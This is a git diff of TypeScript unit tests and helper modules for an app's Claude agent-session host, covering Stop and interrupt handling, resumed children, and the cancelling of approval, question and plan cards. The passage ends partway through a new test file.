fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -426,10 +148,10 @@ it('ends the child at once when Claude refuses the interrupt, and says only that }) it('ends the child when the interrupt fails, with no unconfirmed row', async () => { - claude.routes.interrupt = () => { + fixture.claude.routes.interrupt = () => { throw new Error('control request lost') } - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -443,8 +165,8 @@ it('ends the child when the interrupt fails, with no unconfirmed row', async () }) it('ends the child within the grace when Claude never answers the interrupt', async () => { - claude.routes.interrupt = NEVER_ANSWERS - const connection = claude.connections[0]! + fixture.claude.routes.interrupt = NEVER_ANSWERS + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -461,7 +183,7 @@ it('ends the child within the grace when Claude never answers the interrupt', as }, 15_000) it('ends background work Claude runs when the Stop ends the child', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) frame(connection, { type: 'system', @@ -496,7 +218,7 @@ it('ends background work Claude runs when the Stop ends the child', async () => }) it('starts a new child for the next send after a Stop, on the same Claude conversation', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) await stop() frame(connection, INTERRUPTED_RESULT) @@ -504,12 +226,12 @@ it('starts a new child for the next send after a Stop, on the same Claude conver const next = await send('Carry on.') const resumed = await eventually(() => { - const started = claude.connections.at(-1) + const started = fixture.claude.connections.at(-1) expect(started).not.toBe(connection) expect(started && wrote(started, 'Carry on.')).toBe(true) return started! }) - expect(store.getRecord(SESSION)?.providerHandleChain.at(-1)?.handle).toMatchObject({ + expect(fixture.store.getRecord(SESSION)?.providerHandleChain.at(-1)?.handle).toMatchObject({ nativeId: PROVIDER_SESSION_ID }) expect(resumed.closed).toBe(false) @@ -517,19 +239,19 @@ it('starts a new child for the next send after a Stop, on the same Claude conver }) it('delivers a send issued with the pre-Stop fence during the Stop to the resumed child only', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) - const fence = store.getRecord(SESSION)!.lease.runtimeFence + const fence = fixture.store.getRecord(SESSION)!.lease.runtimeFence let childrenWhenClosed: number | undefined const close = connection.close connection.close = async () => { const proven = await close() - childrenWhenClosed = claude.connections.length + childrenWhenClosed = fixture.claude.connections.length return proven } let answer!: () => void - claude.routes.interrupt = () => + fixture.claude.routes.interrupt = () => new Promise((resolve) => { answer = () => resolve({ still_queued: [], cancelled: [] }) }) @@ -544,7 +266,7 @@ it('delivers a send issued with the pre-Stop fence during the Stop to the resume await expect(sent).resolves.toEqual(expect.any(String)) const resumed = await eventually(() => { - const started = claude.connections.at(-1)! + const started = fixture.claude.connections.at(-1)! expect(started).not.toBe(connection) expect(wrote(started, 'Typed during the Stop.')).toBe(true) return started @@ -552,321 +274,6 @@ it('delivers a send issued with the pre-Stop fence during the Stop to the resume expect(childrenWhenClosed).toBe(1) expect(resumed.closed).toBe(false) expect(wrote(connection, 'Typed during the Stop.')).toBe(false) - expect(store.getRecord(SESSION)!.lease.runtimeFence).not.toBe(fence) + expect(fixture.store.getRecord(SESSION)!.lease.runtimeFence).not.toBe(fence) expect((await statusTexts()).filter((text) => text !== 'Cancellation requested.')).toEqual([]) }) - -it('sends a queue-if-active message issued while the Stop ends the child directly to the resumed child', async () => { - const connection = claude.connections[0]! - await openTurn(connection) - const fence = store.getRecord(SESSION)!.lease.runtimeFence - let childrenWhenClosed: number | undefined - const close = connection.close - connection.close = async () => { - const proven = await close() - childrenWhenClosed = claude.connections.length - return proven - } - - await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) - // Issue under the old fence while Stop’s second step awaits turn end. - const body = hostTestMessage('Queued during the Stop.') - const sent = host.send(CALLER, { - envelope: envelope('agentSession.send', { body, delivery: 'queue-if-active' }, fence), - body, - delivery: 'queue-if-active' - }) - frame(connection, INTERRUPTED_RESULT) - - expect(await sent).toMatchObject({ ok: true, value: { submission: expect.any(Object) } }) - await eventually(() => { - const started = claude.connections.at(-1)! - expect(started).not.toBe(connection) - expect(wrote(started, 'Queued during the Stop.')).toBe(true) - }) - expect(childrenWhenClosed).toBe(1) - expect(wrote(connection, 'Queued during the Stop.')).toBe(false) -}) - -it("runs nothing queued during the Stop's first step before the child's end", async () => { - const connection = claude.connections[0]! - await openTurn(connection) - let answer!: () => void - claude.routes.interrupt = () => - new Promise((resolve) => { - answer = () => resolve({ still_queued: [], cancelled: [] }) - }) - - const stopped = stop() - await interruptSent(connection) - let childLiveForNextOperation: boolean | undefined - const next = host['tasks'].serialize(SESSION, async () => { - childLiveForNextOperation = !connection.closed - }) - answer() - await stopped - frame(connection, INTERRUPTED_RESULT) - await next - - expect(childLiveForNextOperation).toBe(false) -}) - -it('still answers the Stop, with its row, when the child cannot be proven gone; the failure is reported', async () => { - const connection = claude.connections[0]! - await openTurn(connection) - const close = connection.close - connection.close = async () => false - - await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) - frame(connection, INTERRUPTED_RESULT) - await laneDrained() - - expect(await statusTexts()).toEqual(['Cancellation requested.']) - expect(logs.entries).toEqual([ - expect.objectContaining({ - fields: expect.objectContaining({ - scope: 'chat-stop', - error: expect.objectContaining({ - name: 'StructuredAgentSessionEvictionError', - step: 'stop-provider-child' - }) - }) - }) - ]) - connection.close = close -}) - -it('leaves the child and the follow-up alone for a Stop naming the turn that just ended', async () => { - const connection = claude.connections[0]! - const ended = await openTurn(connection) - frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) - await eventually(async () => - expect( - activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - ).toBeNull() - ) - await send('Follow-up.') - await eventually(() => expect(wrote(connection, 'Follow-up.')).toBe(true)) - - await expect(stop(ended)).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) - await laneDrained() - - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(await statusTexts()).toEqual([]) -}, 15_000) - -it('keeps a second Stop pressed while the first ends the child quiet', async () => { - const connection = claude.connections[0]! - await openTurn(connection) - - await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) - const second = stop() - frame(connection, INTERRUPTED_RESULT) - - await expect(second).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) - expect(connection.closed).toBe(true) - expect(connection.calls.filter((call) => call.subtype === 'interrupt')).toHaveLength(1) - expect(await statusTexts()).toEqual(['Cancellation requested.']) - expect(logs.entries).toEqual([]) -}) - -const BRANCH_QUESTION = { - questions: [ - { - question: 'Which branch?', - header: 'Branch', - multiSelect: false, - options: [{ label: 'main' }, { label: 'dev' }] - } - ] -} - -async function ask( - connection: FakeConnection, - toolName: string, - input: Record, - signal?: AbortSignal -): Promise<{ - answered: ReturnType - card: { itemId: string; expectedRevision: number } -}> { - const answered = invokeCanUseTool(connection, toolName, 'permission-1', 'tool-1', { - input, - ...(signal ? { signal } : {}) - }) - const card = await eventually(async () => { - await host.flushStreamedEvents(SESSION) - const item = (await host.journalSnapshot(SESSION)).items.find( - (entry) => entry.body.kind === 'approval' || entry.body.kind === 'question' - ) - expect(item).toBeDefined() - return { itemId: item!.itemId, expectedRevision: item!.revision } - }) - return { answered, card } -} - -function cancelCard(turnId: string, prompt: { itemId: string; expectedRevision: number }) { - const fields = { turnId, prompt } - return host.cancel(CALLER, { envelope: envelope('agentSession.cancel', fields), ...fields }) -} - -async function cardResolution(itemId: string): Promise { - await host.flushStreamedEvents(SESSION) - const body = (await host.journalSnapshot(SESSION)).items.find( - (item) => item.itemId === itemId - )?.body - return body?.kind === 'approval' || body?.kind === 'question' ? body.resolution : undefined -} - -it('dismisses an approval card on its Cancel with the Deny reply, and the turn and child go on', async () => { - const connection = claude.connections[0]! - const turnId = await openTurn(connection) - const { answered, card } = await ask(connection, 'Bash', { command: 'rm -rf build' }) - - await expect(cancelCard(turnId, card)).resolves.toMatchObject({ - ok: true, - value: { turnId, cancelled: true } - }) - await laneDrained() - - const reply = await answered.promise - expect(reply).toMatchObject({ behavior: 'deny', message: 'User denied this action.' }) - expect(reply).not.toHaveProperty('interrupt') - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items)).toBe( - turnId - ) - expect(await statusTexts()).toEqual([]) -}) - -it("ends a question card's Cancel the way the chat's Stop does, and the next send resumes", async () => { - const connection = claude.connections[0]! - const eventsAtClose = stopEventsAtClose(connection) - const turnId = await openTurn(connection) - const request = new AbortController() - const { answered, card } = await ask( - connection, - 'AskUserQuestion', - BRANCH_QUESTION, - request.signal - ) - - await expect(cancelCard(turnId, card)).resolves.toMatchObject({ - ok: true, - value: { turnId, cancelled: true } - }) - request.abort() - await host.flushStreamedEvents(SESSION) - // Prompt cancellation must land before child exit so answers are already disabled. - expect(connection.closed).toBe(false) - const cancelledHere = { state: 'cancelled', resolvedBy: CALLER.callerKey } - expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) - frame(connection, INTERRUPTED_RESULT) - await laneDrained() - - expect(connection.closed).toBe(true) - expect(eventsAtClose()).toBe(1) - expect(await turnOutcome()).toBe('cancellation') - expect(await answered.promise).not.toMatchObject({ behavior: expect.any(String) }) - expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) - expect(await statusTexts()).toEqual(['Cancellation requested.']) - await send('Carry on.') - await eventually(() => { - const started = claude.connections.at(-1)! - expect(started).not.toBe(connection) - expect(wrote(started, 'Carry on.')).toBe(true) - }) -}) - -it("declines a question card's Cancel itself when the Stop finds nothing to stop", async () => { - const connection = claude.connections[0]! - const ended = await openTurn(connection) - frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) - await eventually(async () => - expect( - activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - ).toBeNull() - ) - const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) - - await expect(cancelCard(ended, card)).resolves.toMatchObject({ ok: true }) - await laneDrained() - - expect(await answered.promise).toMatchObject({ - behavior: 'deny', - message: expect.stringMatching(/dismissed/) - }) - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(await statusTexts()).toEqual([]) -}) - -it('dismisses a question card a finished turn raised, leaving the turn running now alone', async () => { - const connection = claude.connections[0]! - const earlier = await openTurn(connection) - const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) - frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) - await eventually(async () => - expect( - activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - ).toBeNull() - ) - const running = await openTurn(connection, 'Now something else.') - expect(running).not.toBe(earlier) - - await expect(cancelCard(earlier, card)).resolves.toMatchObject({ ok: true }) - await laneDrained() - - expect(await answered.promise).toMatchObject({ behavior: 'deny' }) - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items)).toBe( - running - ) -}) - -it('dismisses a plan card on its Cancel: Claude is told to wait for the user, and keeps running', async () => { - const connection = claude.connections[0]! - const turnId = await openTurn(connection) - const { answered, card } = await ask(connection, 'ExitPlanMode', { - plan: '# Release\n\n- Tag it' - }) - - await expect(cancelCard(turnId, card)).resolves.toMatchObject({ - ok: true, - value: { turnId, cancelled: true } - }) - await laneDrained() - - const reply = await answered.promise - expect(reply).toMatchObject({ behavior: 'deny' }) - expect(reply).not.toHaveProperty('interrupt') - expect(JSON.stringify(reply)).toMatch(/wait for them/) - expect(JSON.stringify(reply)).not.toMatch(/keep planning|ExitPlanMode again/i) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - const cards = (await host.journalSnapshot(SESSION)).items.filter( - (item) => item.body.kind === 'approval' - ) - expect(cards).toHaveLength(1) - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(await statusTexts()).toEqual([]) -}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts new file mode 100644 index 00000000000..7f69b287d78 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts @@ -0,0 +1,46 @@ +import { expect, it } from 'vitest' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + +import { + fixture, + CALLER, + laneDrained +} from './structured-agent-session-claude-stop-contract-test-fixture' +import { + ask, + cancelCard, + cardResolution, + openTurn, + statusTexts +} from './structured-agent-session-claude-stop-contract-test-actions' + +it('dismisses a plan card on its Cancel: Claude is told to wait for the user, and keeps running', async () => { + const connection = fixture.claude.connections[0]! + const turnId = await openTurn(connection) + const { answered, card } = await ask(connection, 'ExitPlanMode', { + plan: '# Release\n\n- Tag it' + }) + + await expect(cancelCard(turnId, card)).resolves.toMatchObject({ + ok: true, + value: { turnId, cancelled: true } + }) + await laneDrained() + + const reply = await answered.promise + expect(reply).toMatchObject({ behavior: 'deny' }) + expect(reply).not.toHaveProperty('interrupt') + expect(JSON.stringify(reply)).toMatch(/wait for them/) + expect(JSON.stringify(reply)).not.toMatch(/keep planning|ExitPlanMode again/i) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + const cards = (await fixture.host.journalSnapshot(SESSION)).items.filter( + (item) => item.body.kind === 'approval' + ) + expect(cards).toHaveLength(1) + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(await statusTexts()).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts new file mode 100644 index 00000000000..d44134cb700 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts @@ -0,0 +1,268 @@ +import { expect, it } from 'vitest' +import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' +import { + claudeFrame as frame, + claudeWasSent as wrote +} from '../../claude/claude-structured-session-test-support' +import { + HOST_TEST_SESSION as SESSION, + hostTestMessage +} from './structured-agent-session-host-test-data' + +import { + fixture, + BRANCH_QUESTION, + CALLER, + INTERRUPTED_RESULT, + laneDrained +} from './structured-agent-session-claude-stop-contract-test-fixture' +import { + ask, + cancelCard, + cardResolution, + envelope, + eventually, + interruptSent, + openTurn, + send, + statusTexts, + stop, + stopEventsAtClose, + turnOutcome +} from './structured-agent-session-claude-stop-contract-test-actions' + +it('sends a queue-if-active message issued while the Stop ends the child directly to the resumed child', async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + const fence = fixture.store.getRecord(SESSION)!.lease.runtimeFence + let childrenWhenClosed: number | undefined + const close = connection.close + connection.close = async () => { + const proven = await close() + childrenWhenClosed = fixture.claude.connections.length + return proven + } + + await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) + // Issue under the old fence while Stop’s second step awaits turn end. + const body = hostTestMessage('Queued during the Stop.') + const sent = fixture.host.send(CALLER, { + envelope: envelope('agentSession.send', { body, delivery: 'queue-if-active' }, fence), + body, + delivery: 'queue-if-active' + }) + frame(connection, INTERRUPTED_RESULT) + + expect(await sent).toMatchObject({ ok: true, value: { submission: expect.any(Object) } }) + await eventually(() => { + const started = fixture.claude.connections.at(-1)! + expect(started).not.toBe(connection) + expect(wrote(started, 'Queued during the Stop.')).toBe(true) + }) + expect(childrenWhenClosed).toBe(1) + expect(wrote(connection, 'Queued during the Stop.')).toBe(false) +}) + +it("runs nothing queued during the Stop's first step before the child's end", async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + let answer!: () => void + fixture.claude.routes.interrupt = () => + new Promise((resolve) => { + answer = () => resolve({ still_queued: [], cancelled: [] }) + }) + + const stopped = stop() + await interruptSent(connection) + let childLiveForNextOperation: boolean | undefined + const next = fixture.host['tasks'].serialize(SESSION, async () => { + childLiveForNextOperation = !connection.closed + }) + answer() + await stopped + frame(connection, INTERRUPTED_RESULT) + await next + + expect(childLiveForNextOperation).toBe(false) +}) + +it('still answers the Stop, with its row, when the child cannot be proven gone; the failure is reported', async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + const close = connection.close + connection.close = async () => false + + await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) + frame(connection, INTERRUPTED_RESULT) + await laneDrained() + + expect(await statusTexts()).toEqual(['Cancellation requested.']) + expect(fixture.logs.entries).toEqual([ + expect.objectContaining({ + fields: expect.objectContaining({ + scope: 'chat-stop', + error: expect.objectContaining({ + name: 'StructuredAgentSessionEvictionError', + step: 'stop-provider-child' + }) + }) + }) + ]) + connection.close = close +}) + +it('leaves the child and the follow-up alone for a Stop naming the turn that just ended', async () => { + const connection = fixture.claude.connections[0]! + const ended = await openTurn(connection) + frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) + await eventually(async () => + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBeNull() + ) + await send('Follow-up.') + await eventually(() => expect(wrote(connection, 'Follow-up.')).toBe(true)) + + await expect(stop(ended)).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) + await laneDrained() + + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect(await statusTexts()).toEqual([]) +}) + +it('keeps a second Stop pressed while the first ends the child quiet', async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + + await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) + const second = stop() + frame(connection, INTERRUPTED_RESULT) + + await expect(second).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) + expect(connection.closed).toBe(true) + expect(connection.calls.filter((call) => call.subtype === 'interrupt')).toHaveLength(1) + expect(await statusTexts()).toEqual(['Cancellation requested.']) + expect(fixture.logs.entries).toEqual([]) +}) + +it('dismisses an approval card on its Cancel with the Deny reply, and the turn and child go on', async () => { + const connection = fixture.claude.connections[0]! + const turnId = await openTurn(connection) + const { answered, card } = await ask(connection, 'Bash', { command: 'rm -rf build' }) + + await expect(cancelCard(turnId, card)).resolves.toMatchObject({ + ok: true, + value: { turnId, cancelled: true } + }) + await laneDrained() + + const reply = await answered.promise + expect(reply).toMatchObject({ behavior: 'deny', message: 'User denied this action.' }) + expect(reply).not.toHaveProperty('interrupt') + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBe(turnId) + expect(await statusTexts()).toEqual([]) +}) + +it("ends a question card's Cancel the way the chat's Stop does, and the next send resumes", async () => { + const connection = fixture.claude.connections[0]! + const eventsAtClose = stopEventsAtClose(connection) + const turnId = await openTurn(connection) + const request = new AbortController() + const { answered, card } = await ask( + connection, + 'AskUserQuestion', + BRANCH_QUESTION, + request.signal + ) + + await expect(cancelCard(turnId, card)).resolves.toMatchObject({ + ok: true, + value: { turnId, cancelled: true } + }) + request.abort() + await fixture.host.flushStreamedEvents(SESSION) + // Prompt cancellation must land before child exit so answers are already disabled. + expect(connection.closed).toBe(false) + const cancelledHere = { state: 'cancelled', resolvedBy: CALLER.callerKey } + expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) + frame(connection, INTERRUPTED_RESULT) + await laneDrained() + + expect(connection.closed).toBe(true) + expect(eventsAtClose()).toBe(1) + expect(await turnOutcome()).toBe('cancellation') + expect(await answered.promise).not.toMatchObject({ behavior: expect.any(String) }) + expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) + expect(await statusTexts()).toEqual(['Cancellation requested.']) + await send('Carry on.') + await eventually(() => { + const started = fixture.claude.connections.at(-1)! + expect(started).not.toBe(connection) + expect(wrote(started, 'Carry on.')).toBe(true) + }) +}) + +it("declines a question card's Cancel itself when the Stop finds nothing to stop", async () => { + const connection = fixture.claude.connections[0]! + const ended = await openTurn(connection) + frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) + await eventually(async () => + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBeNull() + ) + const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) + + await expect(cancelCard(ended, card)).resolves.toMatchObject({ ok: true }) + await laneDrained() + + expect(await answered.promise).toMatchObject({ + behavior: 'deny', + message: expect.stringMatching(/dismissed/) + }) + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect(await statusTexts()).toEqual([]) +}) + +it('dismisses a question card a finished turn raised, leaving the turn running now alone', async () => { + const connection = fixture.claude.connections[0]! + const earlier = await openTurn(connection) + const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) + frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) + await eventually(async () => + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBeNull() + ) + const running = await openTurn(connection, 'Now something else.') + expect(running).not.toBe(earlier) + + await expect(cancelCard(earlier, card)).resolves.toMatchObject({ ok: true }) + await laneDrained() + + expect(await answered.promise).toMatchObject({ behavior: 'deny' }) + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBe(running) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts index 94139e11a98..e31ae2e5ea9 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-clear-rewind.test.ts @@ -29,10 +29,10 @@ afterEach(() => rig.dispose()) const journal = () => rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal const db = () => openTestJournalHostDatabase(rig.root).db -const rawPrefix = (sequence: number) => +const canonicalPrefix = (sequence: number) => db() .prepare( - 'SELECT seq, row_json FROM journal_rows WHERE session_id = ? AND epoch = ? AND seq <= ? ORDER BY seq' + 'SELECT seq, field, entry_key, ordinal, value_json, deleted FROM journal_outcomes WHERE generation = (SELECT generation FROM journal_outcome_epochs WHERE session_id = ? AND epoch = ?) AND seq <= ? ORDER BY seq, field, entry_key' ) .all(SESSION, journal().cursor().epoch, sequence) @@ -62,7 +62,7 @@ async function seed() { const prefix = journal() .snapshot() .items.filter((item) => item.sequence <= floor.sequence) - const raw = rawPrefix(floor.sequence) + const raw = canonicalPrefix(floor.sequence) const kept = await send('kept after clear', 'kept') const target = await send('rewound after clear', 'target') const fields = { itemId: target, expectedEpoch: journal().cursor().epoch } @@ -215,7 +215,7 @@ describe('rewind behind a clear boundary', () => { .snapshot() .items.filter((item) => item.sequence <= floor.sequence) ).toEqual(prefix) - expect(rawPrefix(floor.sequence)).toEqual(raw) + expect(canonicalPrefix(floor.sequence)).toEqual(raw) expect( journal() .snapshot() @@ -257,7 +257,7 @@ describe('rewind behind a clear boundary', () => { rig.store.getRecord(SESSION)!.lease.runtimeFence ) expect(journal().snapshot()).toEqual(recovered) - expect(rawPrefix(floor.sequence)).toEqual(raw) + expect(canonicalPrefix(floor.sequence)).toEqual(raw) expect(rewind).toHaveBeenCalledOnce() expect(await rig.host.rewind(CALLER, params)).toMatchObject({ ok: true, replayed: true }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-conversation-reads.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-conversation-reads.ts new file mode 100644 index 00000000000..f8b65d02442 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-conversation-reads.ts @@ -0,0 +1,96 @@ +import { + createStructuredAgentSessionCatalogReads, + structuredAgentSessionCatalogScopeOwned +} from './structured-agent-session-catalog-reads' +import { revealStructuredAgentSession } from './structured-agent-session-reveal' +import type { StructuredAgentSessionClientDelivery } from './structured-agent-session-client-delivery' +import type { AgentSessionExecutionLocation } from '../../../shared/agent-session-record' +import * as providerSupport from './structured-agent-session-provider-support' +import type { OpenedStructuredAgentSessionConversation } from './structured-agent-session-conversation-open' +import type { + StructuredAgentSessionHostDeps, + StructuredAgentSessionHostSession +} from './structured-agent-session-host-types' +import { restoreStructuredAgentSessionRead } from './structured-agent-session-read-restore' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' + +type ReadContext = { + deps: StructuredAgentSessionHostDeps + sessions: Map + serialize: (id: string, task: () => Promise) => Promise + readCommands: StructuredAgentSessionClientDelivery['readCommandsSettled'] + conversation: (id: string) => Promise + adoptOpened: (id: string, opened: OpenedStructuredAgentSessionConversation) => Promise +} + +/** Readers share the conversation owner; inventory never founds a journal or prepares a provider. */ +export function createStructuredAgentSessionConversationReads(context: () => ReadContext) { + const sessionOwned = async (id: string, current: () => boolean = () => true) => { + const { deps, sessions, adoptOpened } = context() + const record = deps.store.requireWritableRecord(id) + let session = sessions.get(id) + if (!session) { + const opened = await restoreStructuredAgentSessionRead(deps, id) + if (opened) { + if (current()) { + await adoptOpened(id, opened) + session = opened.session + } else { + await opened.session.journal.close() + } + } + } + return { record, session } + } + const prospectiveAccountHomeOwned = async (id: string) => { + const { record, session } = await sessionOwned(id) + return (await structuredAgentSessionReceivingAccount(context().deps, record, session)).home + } + const readModelCatalog = createStructuredAgentSessionCatalogReads(() => ({ + deps: context().deps, + serialize: context().serialize, + scopeOwned: async (params) => { + const record = params.sessionId + ? context().deps.store.getConversation(params.sessionId) + : undefined + if ( + record && + (record.provider !== params.agent || + !providerSupport.agentDrivesSession(context().deps.agents, record)) + ) { + return null + } + if (!record) { + return null + } + if (!context().deps.store.getRecord(record.sessionId)) { + return structuredAgentSessionCatalogScopeOwned(context().deps, params, undefined) + } + const { session } = await sessionOwned(record.sessionId, params.operation?.current) + if (params.operation?.current() === false) { + return null + } + return structuredAgentSessionCatalogScopeOwned(context().deps, params, session) + } + })) + return { + readModelCatalog, + readCommands: (id: string, commandsOnRequest = false) => + context().readCommands(id, commandsOnRequest), + supportsCreate: (location: AgentSessionExecutionLocation, agent: string) => + providerSupport.adapterSupportsCreate(context().deps.adapter, location, agent), + knownAgentIds: () => providerSupport.knownAgentIds(context().deps), + agentDefinitions: () => context().deps.agents.definitions(), + revealSession: (id: string) => { + const { deps, conversation } = context() + return revealStructuredAgentSession(deps, id, conversation) + }, + sessionAgent: (id: string) => context().deps.store.getConversation(id)?.provider ?? null, + childAccountHome: (id: string) => context().sessions.get(id)?.child?.accountHome, + holdsSessions: () => context().deps.store.holdsRecords(), + onSessionsHeld: (listener: () => void) => context().deps.store.onFirstRecord(listener), + prospectiveAccountHome: (id: string) => { + return context().serialize(id, () => prospectiveAccountHomeOwned(id)) + } + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts index 7238f2bf166..493d4f4b997 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-conversations.ts @@ -50,6 +50,9 @@ export class StructuredAgentSessionConversations extends Map< super() } + loadedSessionIds = (): string[] => + [...this].flatMap(([sessionId, { child }]) => (child ? [sessionId] : [])) + override set(sessionId: string, session: StructuredAgentSessionHostSession): this { const { journal } = session if (this.get(sessionId)?.journal === journal) { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts new file mode 100644 index 00000000000..d4cc9d84265 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts @@ -0,0 +1,240 @@ +import { mkdir, realpath, writeFile, rm, symlink, readFile } from 'node:fs/promises' +vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { + const query = await import('../transcript-opencode-sqlite-query') + return { + ...(await original()), + readOpenCodeTranscriptPageViaWorker: query.readOpenCodeTranscriptPage, + readOpenCodeTranscriptSignalViaWorker: async (args: { dbPath: string; sessionId: string }) => + query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) + } +}) +import { join } from 'node:path' +import { expect, it, vi } from 'vitest' +import { createRestTestRig } from './structured-agent-session-rest-test-rig' +import { + createTestParams, + CREATE_TEST_CALLER as CALLER +} from 